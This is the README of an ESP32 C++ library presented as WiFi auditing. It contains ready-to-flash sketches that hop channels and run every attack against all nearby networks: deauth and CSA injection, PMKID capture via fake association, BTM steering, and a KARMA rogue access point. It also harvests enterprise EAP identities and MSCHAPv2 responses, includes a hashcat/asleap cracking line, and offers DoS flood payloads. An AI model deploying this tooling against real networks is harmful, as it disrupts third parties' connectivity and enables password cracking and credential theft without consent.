A sophisticated WiFi auditing library for ESP32 microcontrollers
Politician is an embedded C++ library designed for WiFi security auditing on ESP32 platforms. It provides a clean, modern API for capturing WPA/WPA2/WPA3 handshakes and harvesting enterprise credentials using advanced 802.11 protocol techniques.
ClientFoundCb was changed from (const uint8_t *bssid, const uint8_t *sta, int8_t rssi) to (const ClientRecord &rec). Update existing callbacks:
// Before
engine.setClientFoundCallback([](const uint8_t *bssid, const uint8_t *sta, int8_t rssi) { … });
// After
engine.setClientFoundCallback([](const ClientRecord &rec) {
// rec.bssid, rec.sta, rec.rssi — same data plus rand_mac, vendor, timestamps
});- PMKID Capture — Extract PMKIDs via fake association without disconnecting any client
- CSA Injection — Channel Switch Announcement; modern PMF-bypassing alternative to deauth
- 802.11v BTM Injection — BSS Transition Management Request; politely steers clients to reconnect
- Classic Deauth — Reason-7 deauthentication for legacy networks without PMF
- Client Stimulation — Wake sleeping devices with QoS Null Data frames
- Enterprise Credential Harvesting — Passively capture EAP-Identity and bare EAP-MSCHAPv2 exchanges
- WPS M1 Capture — Harvest device fingerprint attributes from unencrypted WPS Enrollee M1 messages
- Hidden Network Discovery — SSID decloaking via directed probe requests; optional wordlist cycling
- VHT/HE Detection — Parse 802.11ac/ax IEs to expose channel width and Wi-Fi generation per AP
- Device Fingerprinting — Identify 150+ IoT/consumer brands via MAC OUI and IE signatures
- Export Formats — Streaming PCAPNG (Wireshark-compatible); auxiliary HC22000 for Hashcat; Wigle CSV
- Passive Motion Sensing — RSSI variance analysis detects human presence and movement via a fixed anchor AP; device-free, no mode switching, runs alongside the audit engine
The library is built around a non-blocking state machine managing channel hopping, target selection, attack execution, and capture processing. All operations are contained within the politician namespace.
| Header | Description |
|---|---|
Politician.h |
Main engine class — include this in every project |
PoliticianTypes.h |
Public structs, enums, and compile-time feature gates |
PoliticianStorage.h |
SD card loggers and NVS persistence (Arduino only) |
PoliticianFormat.h |
PCAPNG and HC22000 serialization primitives |
PoliticianStress.h |
Opt-in DoS payloads (SAE flood, probe flood, beacon flood) |
PoliticianProbe.h |
Opt-in PROGMEM wordlist for hidden SSID probing |
PoliticianWPS.h |
Opt-in WPS M1 print helpers and bitmask constants |
PoliticianSense.h |
Opt-in passive RSSI-based motion and presence sensing |
| Mode | Bit | Description |
|---|---|---|
ATTACK_PMKID |
0x01 |
PMKID fishing via fake association |
ATTACK_CSA |
0x02 |
Channel Switch Announcement injection |
ATTACK_PASSIVE |
0x04 |
Listen-only — zero transmission |
ATTACK_DEAUTH |
0x08 |
Classic Reason-7 deauthentication |
ATTACK_STIMULATE |
0x10 |
QoS Null Data client stimulation |
ATTACK_BTM |
0x20 |
802.11v BSS Transition Management Request |
ATTACK_ALL |
0x3F |
All active attack vectors |
Define any of these before including Politician.h or via your build system (-DNAME):
; platformio.ini
build_flags =
-DPOLITICIAN_NO_DB ; Strip 14KB OUI database (no vendor lookups)
-DPOLITICIAN_NO_PCAPNG ; Strip PCAPNG serialization
-DPOLITICIAN_NO_HC22000 ; Strip Hashcat HC22000 formatter
-DPOLITICIAN_NO_LOGGING ; Strip all internal Serial log output
-DPOLITICIAN_NO_STD_FUNCTION ; Use raw fn pointers instead of std::function
-DPOLITICIAN_NO_MSCHAPV2 ; Strip bare EAP-MSCHAPv2 capture
-DPOLITICIAN_NO_KARMA ; Strip KARMA rogue AP responder
-DPOLITICIAN_MAX_INSTANCES=1 ; Limit to one instance (saves a pointer array slot)POLITICIAN_NO_STD_FUNCTION reverts all callback types from std::function<> to raw function pointers — saving ~2KB flash and enabling use in environments without <functional>. Lambda captures are unavailable when this flag is set.
POLITICIAN_MAX_INSTANCES (default 2) controls the size of the static instance registry used by the promiscuous ISR dispatcher. Set to 1 for single-instance deployments to eliminate the loop overhead in the ISR.
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
PoliticianOr clone directly into your project's lib/ directory:
cd lib/
git clone https://github.com/0ldev/Politician.git- Download the library as a ZIP file
- Sketch → Include Library → Add .ZIP Library
Clone into your project's components/ directory and create a CMakeLists.txt:
idf_component_register(
SRCS "src/Politician.cpp" "src/PoliticianFormat.cpp" "src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.his Arduino-only and emits a#errorunder ESP-IDF. Use ESP-IDF's VFS andnvs_flashAPIs directly.
#include <Arduino.h>
#include <SD.h>
#include <Politician.h>
#include <PoliticianStorage.h>
using namespace politician;
using namespace politician::storage;
Politician engine;
PcapngFileLogger pcap; // Streaming logger — one open(), many write() calls
void onHandshake(const HandshakeRecord &rec) {
Serial.printf("[✓] %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
pcap.write(rec);
}
void setup() {
Serial.begin(115200);
SD.begin();
pcap.open(SD, "/captures.pcapng", 4 * 1024 * 1024); // optional auto-rotation at 4MB
engine.setEapolCallback(onHandshake);
engine.begin();
engine.setAttackMask(ATTACK_ALL);
}
void loop() {
engine.tick();
}#include <nvs_flash.h>
#include <esp_event.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void audit_task(void *) {
engine.setEapolCallback([](const HandshakeRecord &rec) {
printf("[+] %s ch%d\n", rec.ssid, rec.channel);
});
engine.begin();
engine.setAttackMask(ATTACK_ALL);
for (;;) { engine.tick(); vTaskDelay(pdMS_TO_TICKS(1)); }
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}Error begin(const Config &cfg = Config());Initializes the WiFi driver in promiscuous mode. Must be called before any other method. Clamps and warns on invalid Config values at startup. Use validateConfig() beforehand to surface misconfigurations before deploying in the field:
Config cfg;
cfg.hop_min_dwell_ms = 400;
cfg.hop_max_dwell_ms = 200; // wrong — min > max
const char *warnings[8];
int n = politician::validateConfig(cfg, warnings, 8);
for (int i = 0; i < n; i++) Serial.println(warnings[i]);
// → "hop_min_dwell_ms >= hop_max_dwell_ms — max will be clamped to min+50ms"
engine.begin(cfg); // begins normally; begin() clamps automaticallyvalidateConfig() is a free inline function in the politician namespace — zero allocations, zero dependencies.
struct Config {
// ── Channel Hopping ──────────────────────────────────────────────────────
uint16_t hop_dwell_ms = 200; // Static dwell time per channel (ms)
bool smart_hopping = true; // Dynamic dwell based on traffic activity
uint16_t hop_min_dwell_ms = 50; // Minimum dwell (smart hopping floor)
uint16_t hop_max_dwell_ms = 400; // Maximum dwell (smart hopping ceiling)
uint32_t m1_lock_ms = 800; // Stay on channel after seeing M1 (ms)
// ── PMKID Fishing ────────────────────────────────────────────────────────
uint32_t fish_timeout_ms = 2000; // Timeout per PMKID association attempt
uint8_t fish_max_retries = 2; // PMKID retries before pivoting to CSA
// ── CSA / Deauth ─────────────────────────────────────────────────────────
uint32_t csa_wait_ms = 4000; // Wait window after CSA/Deauth burst (ms)
uint8_t csa_beacon_count = 8; // CSA beacon frames per burst
uint8_t csa_deauth_count = 15; // Deauth frames appended to CSA burst
uint8_t deauth_burst_count = 16; // Frames per standalone deauth burst
uint8_t deauth_reason = 7; // 802.11 reason code in deauth frames
bool deauth_reason_cycling = true; // Cycle reason codes during burst (fuzzing)
// ── 802.11v BTM ──────────────────────────────────────────────────────────
uint8_t btm_burst_count = 8; // BTM Request frames per client per trigger
uint16_t btm_disassoc_timer = 3; // Disassociation Timer in TBTTs (~300ms)
// ── Timing & Intervals ───────────────────────────────────────────────────
uint16_t probe_aggr_interval_s = 30; // Seconds between re-attacking the same AP
uint32_t session_timeout_ms = 60000; // Orphaned handshake session lifetime (ms)
uint32_t ap_expiry_ms = 300000; // Evict APs not seen for this long (0=never)
uint32_t probe_hidden_interval_ms = 0; // Probe hidden APs every N ms (0=disabled)
// ── Capture & Logging ────────────────────────────────────────────────────
uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES;
bool capture_half_handshakes = false; // Fire callback on M2-only; pivot to active
bool capture_group_keys = false; // Fire eapolCb on GTK rotation frames
// ── Filtering ────────────────────────────────────────────────────────────
int8_t min_rssi = -100; // Ignore APs weaker than this (dBm)
uint8_t min_beacon_count = 0; // Min beacons before attack/callback (0=off)
uint8_t max_total_attempts = 0; // Permanently skip after N failures (0=∞)
bool skip_immune_networks = true; // Skip pure WPA3 / PMF-Required APs
bool require_active_clients = false; // Skip attack if no clients seen on AP
bool unicast_deauth = true; // Deauth known client MAC, not broadcast
uint8_t sta_filter[6] = {}; // Only record EAPOL from this client (0=any)
char ssid_filter[33] = {}; // Only cache APs matching this SSID (empty=any)
bool ssid_filter_exact = true; // true=exact, false=substring SSID match
uint8_t enc_filter_mask = 0xFF; // Enc types to cache (bit0=Open … bit5=OWE)
// ── Soft AP ──────────────────────────────────────────────────────────────
const char* soft_ap_ssid = nullptr; // AP SSID (nullptr=hidden "WiFighter")
};Register any subset — unregistered callbacks have zero overhead.
void setEapolCallback(EapolCb cb); // Handshake captured (EAPOL, PMKID, group key)
void setApFoundCallback(ApFoundCb cb); // New AP discovered (after min_beacon_count)
void setIdentityCallback(IdentityCb cb); // EAP-Identity plaintext harvested
void setWpsCallback(WpsCb cb); // WPS M1 device attributes captured
void setMsChapCallback(MsChapCb cb); // Bare EAP-MSCHAPv2 challenge/response (#ifndef POLITICIAN_NO_MSCHAPV2)
void setClientFoundCallback(ClientFoundCb cb); // New STA seen on an AP (ClientRecord)
void setRogueApCallback(RogueApCb cb); // Second BSSID advertising same SSID (evil twin)
void setAttackResultCallback(AttackResultCb cb); // Attack exhausted without capture
void setProbeRequestCallback(ProbeRequestCb cb); // Probe request frame received
void setDisruptCallback(DisruptCb cb); // Deauth/Disassoc frame observed
void setTargetFilter(TargetFilterCb cb); // Return false to ignore an AP entirely
void setTargetScoreCallback(TargetScoreCb cb); // Custom priority score for autoTarget
void setPacketLogger(PacketCb cb); // Raw promiscuous-mode frames
void setLogger(LogCb cb); // Redirect internal log outputvoid tick(); // Main worker — call from loop()
void setActive(bool active); // Enable/disable frame processing
void stop(); // Full teardown: abort attack, clear target, stop hopping
void startHopping(uint16_t dwellMs=0); // Start channel hopping
void stopHopping(); // Stop hopping (attack state machine continues)
Error lockChannel(uint8_t ch); // Stop hopping, lock to a channel
Error setChannel(uint8_t ch); // Tune radio to a channel
void setChannelList(const uint8_t *channels, uint8_t count); // Restrict hop sequence
uint8_t getChannelsSortedByActivity(uint8_t *out, uint8_t count) const; // Busy channels first
uint8_t setAutoChannelList(uint8_t topN); // Replace hop list with hottest channels
void setChannelBands(bool ghz24, bool ghz5); // Hop 2.4GHz, 5GHz, or bothError setTarget(const uint8_t *bssid, uint8_t channel); // Focus on one BSSID
Error setTargetBySsid(const char *ssid); // Pick strongest match from cache
void clearTarget(); // Resume autonomous hopping
bool hasTarget() const; // True if focused on a target
bool isAttacking() const; // True if attack in progress
void setAutoTarget(bool enable); // Continuously target strongest AP
void setAttackMask(uint8_t mask); // Active attack vector bitmask
void setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask); // Per-BSSID override
void setAttackMaskForSsid(const char *ssid, uint8_t mask, bool substring=false);
void clearAttackMaskOverrides();
void setDisconnectionStrategy(DisconnectStrategy strategy); // STRATEGY_AUTO_FALLBACK / SIMULTANEOUSint getApCount() const;
bool getAp(int idx, ApRecord &out) const;
bool getApByBssid(const uint8_t *bssid, ApRecord &out) const;
void forEachAp(void (*cb)(const ApRecord &ap, void *ctx), void *ctx) const;
int getClientCount(const uint8_t *bssid) const;
bool getClient(const uint8_t *bssid, int idx, uint8_t out_sta[6]) const;
Stats& getStats();
void resetStats();void setProbeWordlist(const char * const *wordlist, uint8_t count);When cfg.probe_hidden_interval_ms > 0, the engine probes each hidden AP with one wordlist entry per interval, cycling independently per AP. Use with PoliticianProbe.h:
#include <PoliticianProbe.h>
using namespace politician::probe;
cfg.probe_hidden_interval_ms = 5000;
engine.begin(cfg);
engine.setProbeWordlist(WORDLIST, WORDLIST_COUNT); // 70-entry built-in listPass nullptr to revert to wildcard-only probing. The wordlist must remain in scope for the engine's lifetime (PROGMEM or static storage).
Error injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel,
uint32_t lock_ms = 0, bool wait_for_channel = false);lock_ms > 0— disable hopping and hold channel for this duration after injectionwait_for_channel = true— queue frame for stealthy injection when hopper naturally lands on the channel
// Encryption type constants (ApRecord.enc, enc_filter_mask bit index)
#define ENC_OPEN 0 // Open — no encryption
#define ENC_WEP 1 // WEP
#define ENC_WPA 2 // WPA (vendor IE 00:50:F2:01)
#define ENC_WPA2 3 // WPA2 / WPA3-Transition (RSN IE, PSK or SAE AKM)
#define ENC_ENT 4 // 802.1X Enterprise (RSN IE, 802.1X AKM suite 1)
#define ENC_OWE 5 // OWE — Opportunistic Wireless Encryption (AKM suite 18)
// Engine skips PMKID fishing and CSA/Deauth for OWE networks.
// Attack bits
#define ATTACK_PMKID 0x01
#define ATTACK_CSA 0x02
#define ATTACK_PASSIVE 0x04
#define ATTACK_DEAUTH 0x08
#define ATTACK_STIMULATE 0x10
#define ATTACK_BTM 0x20
#define ATTACK_ALL 0x3F
// Capture types (HandshakeRecord.type)
#define CAP_PMKID 0x01 // PMKID via fake association
#define CAP_EAPOL 0x02 // Full passive 4-way handshake
#define CAP_EAPOL_CSA 0x03 // 4-way triggered by CSA/Deauth
#define CAP_EAPOL_HALF 0x04 // M2-only — active pivot triggered
#define CAP_EAPOL_GROUP 0x05 // GTK rotation (non-pairwise EAPOL-Key)
#define CAP_SAE 0x06 // WPA3 SAE Commit/Confirm
// Pairwise cipher classification (HandshakeRecord.cipher)
#define CIPHER_UNKNOWN 0
#define CIPHER_TKIP 1
#define CIPHER_CCMP 2
// Capture filter flags (Config.capture_filter)
#define LOG_FILTER_HANDSHAKES 0x01 // EAPOL + PMKID (SPI SD safe)
#define LOG_FILTER_PROBES 0x02 // Probe requests/responses (SPI SD safe)
#define LOG_FILTER_BEACONS 0x04 // Beacons — high volume, SDMMC only
#define LOG_FILTER_PROBE_REQ 0x08 // Probe requests as raw EPBs (SPI SD safe)
#define LOG_FILTER_MGMT_DISRUPT 0x10 // Deauth/Disassoc EPBs (SPI SD safe)
#define LOG_FILTER_ALL 0xFF // Everything — SDMMC onlystruct ApRecord {
uint8_t bssid[6];
char ssid[33];
uint8_t ssid_len;
uint8_t channel;
int8_t rssi;
uint8_t enc; // ENC_OPEN=0 ENC_WEP=1 ENC_WPA=2 ENC_WPA2=3 ENC_ENT=4 ENC_OWE=5
bool wps_enabled; // WPS IE present in beacon/probe-response
bool pmf_capable; // MFPC — AP supports Protected Management Frames
bool pmf_required; // MFPR — AP mandates PMF (pure WPA3)
bool ft_capable; // 802.11r FT AKM advertised (FT-PSK or FT-EAP)
bool is_hidden; // Broadcasts empty SSID
bool is_vht; // 802.11ac (Wi-Fi 5) capable
bool is_he; // 802.11ax (Wi-Fi 6) capable
uint8_t chan_width; // Max channel width: 0=20 1=40 2=80 3=160 4=80+80 MHz
uint8_t total_attempts; // Failed attack attempts against this BSSID (drives exp. backoff)
bool captured; // On the captured or ignore list
uint32_t first_seen_ms; // millis() when first observed
uint32_t last_seen_ms; // millis() of most recent beacon/probe-response
char country[3]; // ISO 3166-1 alpha-2 from IE 7 (e.g. "US"), empty if absent
uint16_t beacon_interval; // Beacon interval in TUs (1 TU = 1024 µs)
uint8_t max_rate_mbps; // Highest rate from Supported Rates IEs (Mbps)
uint16_t sta_count; // Connected client count from BSS Load IE
uint8_t chan_util; // Channel utilization from BSS Load IE (0-255)
uint8_t venue_group; // 802.11u Venue Group (e.g., 2=Education)
uint8_t venue_type; // 802.11u Venue Type (e.g., 8=University)
uint8_t network_type; // 802.11u Access Network Type (1=Free Public, 2=Chargeable)
uint32_t beacon_count; // Beacon/probe-response observations cached for this AP
uint8_t capture_count; // Captures recorded for this BSSID
uint32_t last_attack_ms; // millis() when an active attack last targeted this AP
};struct Stats {
uint32_t total;
uint32_t mgmt;
uint32_t ctrl;
uint32_t data;
uint32_t eapol;
uint32_t pmkid_found;
uint32_t sae_found;
uint32_t beacons;
uint32_t captures;
uint32_t failed_pmkid;
uint32_t failed_csa;
volatile uint32_t dropped; // Frames dropped due to ringbuffer overflow
uint32_t rb_max; // Max observed ringbuffer usage (bytes)
uint16_t channel_frames[200]; // Frames per channel, indexed by channel number
// (e.g. ch1=index1, ch36=index36; index 0 unused)
};struct HandshakeRecord {
uint8_t type; // CAP_PMKID / CAP_EAPOL / CAP_EAPOL_CSA / CAP_EAPOL_HALF / CAP_EAPOL_GROUP / CAP_SAE
uint8_t channel;
int8_t rssi;
uint8_t bssid[6];
uint8_t sta[6];
char ssid[33];
uint8_t ssid_len;
uint8_t enc;
uint8_t cipher; // CIPHER_UNKNOWN / CIPHER_TKIP / CIPHER_CCMP
uint8_t pmkid[16]; // PMKID path
uint8_t anonce[32]; // EAPOL path
uint8_t snonce[32];
uint8_t mic[16];
uint8_t eapol_m2[256];
uint8_t eapol_m3[256];
uint8_t eapol_m4[256];
uint16_t eapol_m2_len;
uint16_t eapol_m3_len;
uint16_t eapol_m4_len;
bool has_mic;
bool has_anonce;
bool has_snonce;
bool has_m3;
bool has_m4;
bool is_full; // Complete 4-way or full SAE exchange
uint8_t sae_seq; // SAE Auth Sequence (1=Commit, 2=Confirm)
};struct EapIdentityRecord {
uint8_t bssid[6];
uint8_t client[6];
char identity[65]; // Plaintext identity / email — always cleartext, pre-TLS
uint8_t channel;
int8_t rssi;
uint8_t eap_method; // Last seen outer EAP method
};Captured from WPS M1 (Enrollee → AP). M1 is always unencrypted — subsequent messages are inside a TLS tunnel and cannot be read passively.
struct WpsRecord {
uint8_t bssid[6];
uint8_t sta[6]; // WPS Enrollee MAC
uint8_t channel;
int8_t rssi;
char device_name[33]; // Device Name (TLV 0x1011)
char manufacturer[65]; // Manufacturer (TLV 0x1021)
char model_name[33]; // Model Name (TLV 0x1023)
char model_number[33]; // Model Number (TLV 0x1024)
char serial_number[33]; // Serial Number (TLV 0x1042)
uint16_t auth_type_flags; // Supported auth types (TLV 0x1004)
uint16_t config_methods; // Setup methods: PBC, PIN, NFC (TLV 0x1008)
uint8_t rf_bands; // bit0=2.4GHz, bit1=5GHz (TLV 0x103C)
uint16_t primary_dev_type_cat; // Device category (TLV 0x1054)
};Use PoliticianWPS::print(Serial, rec) for formatted output. See PoliticianWPS.h for bitmask constants and helpers.
// #ifndef POLITICIAN_NO_MSCHAPV2
struct MsChapRecord {
uint8_t bssid[6];
uint8_t sta[6];
uint8_t channel;
int8_t rssi;
char username[65];
uint8_t server_challenge[16]; // From MSCHAPv2 Challenge frame
uint8_t peer_challenge[16]; // From MSCHAPv2 Response frame
uint8_t nt_response[24]; // Offline crackable with hashcat -m 5500
};
// #endifNote: This only fires against networks delivering bare EAP-MSCHAPv2 without a TLS tunnel — a misconfiguration. Most enterprise networks wrap MSCHAPv2 inside PEAP or TTLS, making it opaque.
EapIdentityRecord(username only) works against all 802.1X deployments regardless of inner method.
struct ClientRecord { uint8_t bssid[6]; uint8_t sta[6]; int8_t rssi; uint32_t first_seen_ms; uint32_t last_seen_ms; bool rand_mac; char vendor[32]; };
struct AttackResultRecord { uint8_t bssid[6]; char ssid[33]; uint8_t ssid_len; AttackResult result; };
struct RogueApRecord { uint8_t known_bssid[6]; uint8_t rogue_bssid[6]; char ssid[33]; uint8_t ssid_len; uint8_t channel; int8_t rssi; };
struct ProbeRequestRecord { uint8_t client[6]; uint8_t channel; int8_t rssi; char ssid[33]; uint8_t ssid_len; bool rand_mac; };
struct DisruptRecord { uint8_t src[6]; uint8_t dst[6]; uint8_t bssid[6]; uint16_t reason; uint8_t subtype; uint8_t channel; int8_t rssi; bool rand_mac; };Requires #include <PoliticianStorage.h>. Arduino only.
Keep the file handle open across the entire capture session — avoids repeated SD open/close overhead and reduces wear:
PcapngFileLogger pcap;
void setup() {
SD.begin();
storage::setTimestampProvider([]() -> const char * { return "2025-01-01 00:00:00"; });
pcap.open(SD, "/captures.pcapng", 8 * 1024 * 1024); // optional rotation threshold
}
void onHandshake(const HandshakeRecord &rec) {
pcap.write(rec);
}
void onPacket(const uint8_t *payload, uint16_t len, int8_t rssi, uint8_t ch, uint32_t ts) {
pcap.writePacket(payload, len, rssi, ch, ts);
}
void teardown() {
pcap.close(); // or let destructor handle it
}Opens and closes the file on every call — suitable for infrequent writes:
PcapngFileLogger::append(SD, "/captures.pcapng", rec);
PcapngFileLogger::appendPacket(SD, "/intel.pcapng", payload, len, rssi, ch, ts);Hc22000FileLogger hc;
hc.open(SD, "/captures.hc22000");
hc.write(rec);
hc.close();
// Or one-shot:
Hc22000FileLogger::append(SD, "/captures.hc22000", rec);// Log an AP (use in setApFoundCallback)
WigleCsvLogger::appendAp(SD, "/wardrive.csv", ap, lat, lon);
// Log a capture (use in setEapolCallback)
WigleCsvLogger::append(SD, "/wardrive.csv", rec, lat, lon);EnterpriseCsvLogger::append(SD, "/identities.csv", rec); // also logs outer EAP method + timestampNvsBssidCache nvsCache("captures", 128);
void onHandshake(const HandshakeRecord &rec) {
if (!nvsCache.contains(rec.bssid)) {
nvsCache.add(rec.bssid); // staged in RAM — not written to flash yet
// ... log record ...
}
}
void onTeardown() {
if (nvsCache.isDirty()) {
nvsCache.flush(); // single NVS write for all staged adds
}
}The dirty-flag pattern batches NVS writes: add() only updates RAM; flush() performs the single NVS putBytes() call. Call flush() at natural checkpoints (e.g., channel hop, button press, end()).
TcpStreamLogger tcp(collectorIp, 9000);
UdpStreamLogger udp(collectorIp, 9001);
tcp.write(rec);
udp.writePacket(payload, len, rssi, ch, ts);Define POLITICIAN_NO_NETWORK_LOGGER to strip these Arduino/WiFi-backed streamers.
When a device sends a named probe request (looking for a remembered network), the KARMA responder replies with a matching probe response and beacon advertising that SSID as an open AP, enticing the device to auto-associate.
Config cfg;
cfg.karma_enabled = true; // enable at startup
cfg.karma_open_only = true; // skip probes for SSIDs cached as WPA networks (default)
engine.begin(cfg);
engine.setKarmaCallback([](const KarmaRecord &rec) {
Serial.printf("[KARMA] echoed '%s' to %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
rec.ssid,
rec.client[0], rec.client[1], rec.client[2],
rec.client[3], rec.client[4], rec.client[5],
rec.channel);
// rec.ap_mac — spoofed open AP MAC (OUI 02:CA:FE + 3 random bytes)
});
// Toggle at runtime without restarting:
engine.enableKarma(true);
engine.enableKarma(false);Config fields:
| Field | Default | Description |
|---|---|---|
karma_enabled |
false |
Enable KARMA at begin() |
karma_open_only |
true |
Skip probes for SSIDs already cached as WPA APs |
karma_max_ssids |
16 |
Dedup table size (circular eviction, 10s suppression window) |
Strip the entire feature at compile time with -DPOLITICIAN_NO_KARMA.
Note: KARMA requires the engine to be in active (transmitting) mode. The spoofed AP uses an open (no RSN) configuration; clients that require WPA will not associate.
BTM (BSS Transition Management) is a Wi-Fi 802.11v mechanism that politely asks clients to roam. When a client respects it, it disconnects and reassociates — triggering a new EAPOL handshake. Combines with or replaces CSA/Deauth:
Config cfg;
cfg.btm_burst_count = 8; // frames per client
cfg.btm_disassoc_timer = 3; // TBTTs (~300ms) until expected disassoc
engine.begin(cfg);
engine.setAttackMask(ATTACK_BTM | ATTACK_CSA); // BTM first, CSA as fallbackBTM fires independently for every known client on the target AP. Most modern phones and laptops honour it; legacy 802.11a/b/g devices ignore it.
#include <PoliticianWPS.h>
using namespace politician;
engine.setWpsCallback([](const WpsRecord &rec) {
PoliticianWPS::print(Serial, rec);
// rec.config_methods & PoliticianWPS::CFG_PUSH_BUTTON → PBC supported
// rec.rf_bands & 0x02 → 5GHz capable
});engine.setMsChapCallback([](const MsChapRecord &rec) {
Serial.printf("[MSCHAPv2] user=%s\n", rec.username);
// Feed to: hashcat -m 5500 "user::::peer_chal:nt_resp:srv_chal"
// or: asleap -C server_challenge -R nt_response
});Hidden Network Discovery with Wordlist
#include <PoliticianProbe.h>
using namespace politician::probe;
Config cfg;
cfg.probe_hidden_interval_ms = 5000; // probe one word every 5s per hidden AP
engine.begin(cfg);
engine.setProbeWordlist(WORDLIST, WORDLIST_COUNT); // 70 common SSIDs in PROGMEM
// Optionally supply your own:
static const char * const myList[] = { "CorpNet", "HQ-Internal", "IoT-Devices" };
engine.setProbeWordlist(myList, 3);Each hidden AP in the cache maintains its own position in the wordlist — APs cycle independently so no word is ever skipped. If the AP responds, its SSID is revealed and stored in the cache automatically.
engine.setApFoundCallback([](const ApRecord &ap) {
const char *gen = ap.is_he ? "Wi-Fi 6 (ax)" : ap.is_vht ? "Wi-Fi 5 (ac)" : "Wi-Fi 4 (n)";
const char *width[] = { "20MHz", "40MHz", "80MHz", "160MHz", "80+80MHz" };
Serial.printf("%s %s %s\n", ap.ssid, gen, width[ap.chan_width]);
});Wi-Fi 5 (VHT) and Wi-Fi 6 (HE) networks that mandate PMF (pmf_required = true) cryptographically sign every management frame. Deauthentication and CSA beacon injections will be silently dropped by these clients.
The engine automatically detects this condition and suppresses ATTACK_DEAUTH and ATTACK_CSA for those networks, redirecting the attack cycle to ATTACK_PMKID and ATTACK_BTM — both of which work regardless of PMF:
is_he && pmf_required → skip DEAUTH + CSA → PMKID fish → BTM steer
is_vht && pmf_required → skip DEAUTH + CSA → PMKID fish → BTM steer
No configuration required — suppression is automatic. Use ATTACK_ALL and the engine selects the correct strategy per AP.
Each ApCacheEntry tracks total_attempts — the number of failed attack cycles against that BSSID. The PMKID throttle window doubles per failure, capped at 8 minutes:
throttle = base_ms << min(total_attempts, 4) // max 16× base
cap = 480 000 ms (8 minutes)
| Attempts | Base 30s | Effective window |
|---|---|---|
| 0 | 30s | 30s |
| 1 | 30s | 60s |
| 2 | 30s | 2 min |
| 3 | 30s | 4 min |
| ≥4 | 30s | 8 min (capped) |
This prevents the engine wasting its attack window on chronic failures. When has_target = true (manual target pinned) backoff is bypassed entirely so targeted sessions always attack immediately.
Up to POLITICIAN_MAX_INSTANCES (default 2) independent Politician objects can be active simultaneously. Each instance has its own ring buffer, worker task, AP cache, and callback set. The single promiscuous ISR dispatches every captured frame to all registered active instances.
#define POLITICIAN_MAX_INSTANCES 2 // default; define before including Politician.h
#include <Politician.h>
using namespace politician;
Politician scanner; // hops 2.4 GHz, passive scan only
Politician auditor; // locked to ch6, active PMKID capture
void setup() {
Config scanCfg;
scanCfg.attack_mask = ATTACK_PASSIVE;
if (scanner.begin(scanCfg) != OK) { /* handle */ }
scanner.startHopping();
Config auditCfg;
auditCfg.attack_mask = ATTACK_PMKID;
if (auditor.begin(auditCfg) != OK) { /* handle */ }
auditor.lockChannel(6);
auditor.setActive(true);
}
void loop() {
scanner.tick();
auditor.tick();
}Constraints:
- All instances share the single Wi-Fi radio.
esp_wifi_set_channel()affects every instance — coordinate channel access explicitly or uselockChannel()on the instance that should own the channel. - The Wi-Fi driver is initialised once by whichever instance calls
begin()first. Subsequent instances skip driver init and inherit the promiscuous mode. - Exceeding
POLITICIAN_MAX_INSTANCESreturnsERR_MAX_INSTANCES (6)frombegin(). stop()deregisters the instance so its slot is immediately reusable.
PoliticianSense.h hooks into the engine's promiscuous-mode packet stream and measures RSSI variance from a fixed anchor AP to detect human presence and motion — no additional hardware, no mode switching, no conflict with the audit engine.
A human body walking between the anchor AP and the ESP32 absorbs and scatters 2.4 GHz radio waves, causing measurable fluctuations in the received beacon signal strength. PoliticianSense tracks variance over a configurable sliding window and fires a callback when the space transitions between quiet and active.
Scope: With a single ESP32 you get presence / motion detection — not localization. Knowing where in the space someone is requires multiple observation points.
#include <Politician.h>
#include <PoliticianSense.h>
using namespace politician;
Politician engine;
PoliticianSense sense;
void setup() {
Config cfg;
cfg.capture_filter |= LOG_FILTER_BEACONS; // required — set before engine.begin()
engine.begin(cfg);
engine.startHopping();
// Configure tuning before anchoring
sense.setThreshold(6.0f); // variance (dBm²) that triggers MOTION
sense.setWindowSize(32); // samples in sliding window (~3s at 10 beacons/sec)
sense.setDebounce(2000); // ms to hold MOTION before reverting to STILL
sense.setSenseCallback([](SenseEvent ev, float var) {
Serial.printf("[SENSE] %s var=%.2f dBm²\n",
ev == SENSE_MOTION ? "MOTION" : "STILL", var);
});
// Anchor to a specific AP by BSSID (most stable)
uint8_t anchor[] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF};
sense.begin(engine, anchor);
// Lock to the anchor's channel for a steady ~10 beacons/sec stream
engine.lockChannel(6);
}
void loop() {
engine.tick();
sense.tick();
}Anchor modes:
| Mode | Method | Notes |
|---|---|---|
| BSSID (recommended) | sense.begin(engine, bssid) |
Most stable; survives SSID name changes |
| SSID lookup | sense.beginBySSID(engine, "MyRouter") |
Picks strongest BSSID if multiple match |
| Any AP | sense.begin(engine, nullptr) |
Aggregates all visible APs; noisier baseline |
API:
| Method | Description |
|---|---|
begin(engine, bssid) |
Attach to engine; start sampling from anchor BSSID |
beginBySSID(engine, ssid) |
Resolve BSSID by SSID from engine cache, then attach |
end() |
Detach from engine and clear its packet logger slot |
tick() |
Worker — call from loop() alongside engine.tick() |
setSenseCallback(cb) |
Fired once per SENSE_STILL ↔ SENSE_MOTION transition |
setPacketLogger(cb) |
Pass-through for raw-frame access alongside sensing |
setThreshold(dBm²) |
Variance above which SENSE_MOTION fires. Range: 3–15. Default: 6.0 |
setWindowSize(n) |
Sliding window depth in samples [4–64]. Default: 32 |
setDebounce(ms) |
Hold SENSE_MOTION for this long after last spike. Default: 2000 |
setStaleTimeout(ms) |
Zero variance and let debounce expire when no samples arrive for this long. Default: 10000 |
getVariance() |
Current RSSI variance across the window (dBm²) |
getMeanRssi() |
Mean RSSI across the window (dBm) |
getState() |
SENSE_STILL or SENSE_MOTION |
getTotalSamples() |
Total samples collected since begin() |
reset() |
Clear sample window without detaching from engine |
